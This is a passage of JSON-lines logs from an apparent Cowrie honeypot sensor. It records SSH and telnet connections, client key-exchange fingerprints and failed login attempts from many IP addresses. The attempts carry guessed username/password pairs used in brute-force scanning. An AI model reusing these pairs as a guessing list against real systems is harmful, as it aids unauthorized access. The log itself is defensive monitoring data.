ha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:45.448216Z","src_ip":"114.220.238.21","session":"e6d22deffdfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:46.385194Z","src_ip":"163.7.1.218","session":"213734a68c11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.737060546875,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:49.171819Z","src_ip":"170.64.224.25","session":"f777486bf2a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00285696983337,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:50.798117Z","src_ip":"170.64.224.25","session":"7b19cf5ed586","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":37286,"dst_ip":"10.17.0.5","dst_port":22,"session":"b47e2aa7e8a0","protocol":"ssh","message":"New connection: 91.92.40.4:37286 (10.17.0.5:22) [session: b47e2aa7e8a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:52.801616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:52.805165Z","src_ip":"91.92.40.4","session":"b47e2aa7e8a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:52.887318Z","src_ip":"91.92.40.4","session":"b47e2aa7e8a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"test321","message":"login attempt [git/test321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:53.139347Z","src_ip":"91.92.40.4","session":"b47e2aa7e8a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:54.222070Z","src_ip":"91.92.40.4","session":"b47e2aa7e8a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.96659803390503,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:55.179658Z","src_ip":"170.64.224.25","session":"a97fdd9ff394","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":38958,"dst_ip":"159.203.135.109","dst_port":23,"session":"8dec6c8a1cc6","protocol":"telnet","message":"New connection: 170.64.224.25:38958 (159.203.135.109:23) [session: 8dec6c8a1cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:55.712036Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.116.254.157","src_port":45366,"dst_ip":"10.17.0.5","dst_port":22,"session":"72e36699f74a","protocol":"ssh","message":"New connection: 154.116.254.157:45366 (10.17.0.5:22) [session: 72e36699f74a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:59.184989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:59.188678Z","src_ip":"154.116.254.157","session":"72e36699f74a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:01:59.354129Z","src_ip":"154.116.254.157","session":"72e36699f74a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123abc","message":"login attempt [administrator/123abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:00.052222Z","src_ip":"154.116.254.157","session":"72e36699f74a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":33754,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dfef2bfaa9b","protocol":"telnet","message":"New connection: 170.64.224.25:33754 (159.203.135.109:23) [session: 5dfef2bfaa9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:00.573221Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:01.221725Z","src_ip":"154.116.254.157","session":"72e36699f74a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":48484,"dst_ip":"10.17.0.5","dst_port":22,"session":"043d4f94b277","protocol":"ssh","message":"New connection: 8.210.75.243:48484 (10.17.0.5:22) [session: 043d4f94b277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:05.204390Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:07.927393Z","src_ip":"8.210.75.243","session":"eaf29680a0a0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:07.937661Z","src_ip":"8.210.75.243","session":"043d4f94b277","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.73753309249878,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:15.310633Z","src_ip":"170.64.224.25","session":"5dfef2bfaa9b","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:18.148846Z","src_ip":"8.210.75.243","session":"043d4f94b277","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"311.3","message":"Connection lost after 311.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:19.786269Z","src_ip":"8.210.75.243","session":"5c0f77820c4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.34.123","src_port":47532,"dst_ip":"10.17.0.5","dst_port":22,"session":"7536ec46ab3f","protocol":"ssh","message":"New connection: 162.144.34.123:47532 (10.17.0.5:22) [session: 7536ec46ab3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:24.210595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:24.213913Z","src_ip":"162.144.34.123","session":"7536ec46ab3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:24.295875Z","src_ip":"162.144.34.123","session":"7536ec46ab3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"threearrowscap","password":"threearrows123","message":"login attempt [threearrowscap/threearrows123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:24.543206Z","src_ip":"162.144.34.123","session":"7536ec46ab3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:25.627754Z","src_ip":"162.144.34.123","session":"7536ec46ab3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":48702,"dst_ip":"10.17.0.5","dst_port":22,"session":"3da973dc85df","protocol":"ssh","message":"New connection: 38.93.206.2:48702 (10.17.0.5:22) [session: 3da973dc85df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:31.771002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:31.776668Z","src_ip":"38.93.206.2","session":"3da973dc85df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:31.826441Z","src_ip":"38.93.206.2","session":"3da973dc85df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artur2010","message":"login attempt [root/artur2010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:31.976532Z","src_ip":"38.93.206.2","session":"3da973dc85df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:33.028576Z","src_ip":"38.93.206.2","session":"3da973dc85df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:37.597376Z","src_ip":"8.210.75.243","session":"043d4f94b277","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:49.493397Z","src_ip":"8.210.75.243","session":"54621b5dde52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.185.81","src_port":59828,"dst_ip":"10.17.0.5","dst_port":22,"session":"412534aa5611","protocol":"ssh","message":"New connection: 152.53.185.81:59828 (10.17.0.5:22) [session: 412534aa5611]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:52.109115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:52.113030Z","src_ip":"152.53.185.81","session":"412534aa5611","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:52.202621Z","src_ip":"152.53.185.81","session":"412534aa5611","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A1b2c3d4","message":"login attempt [root/A1b2c3d4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:52.589043Z","src_ip":"152.53.185.81","session":"412534aa5611","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":57940,"dst_ip":"159.203.135.109","dst_port":22,"session":"205c34022165","protocol":"ssh","message":"New connection: 159.65.58.200:57940 (159.203.135.109:22) [session: 205c34022165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:52.593930Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":59242,"dst_ip":"10.17.0.5","dst_port":22,"session":"62a4820a4622","protocol":"ssh","message":"New connection: 62.133.62.83:59242 (10.17.0.5:22) [session: 62a4820a4622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:52.686397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:52.690112Z","src_ip":"62.133.62.83","session":"62a4820a4622","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:52.731170Z","src_ip":"159.65.58.200","session":"205c34022165","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:02:52.733989Z","src_ip":"159.65.58.200","session":"205c34022165","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","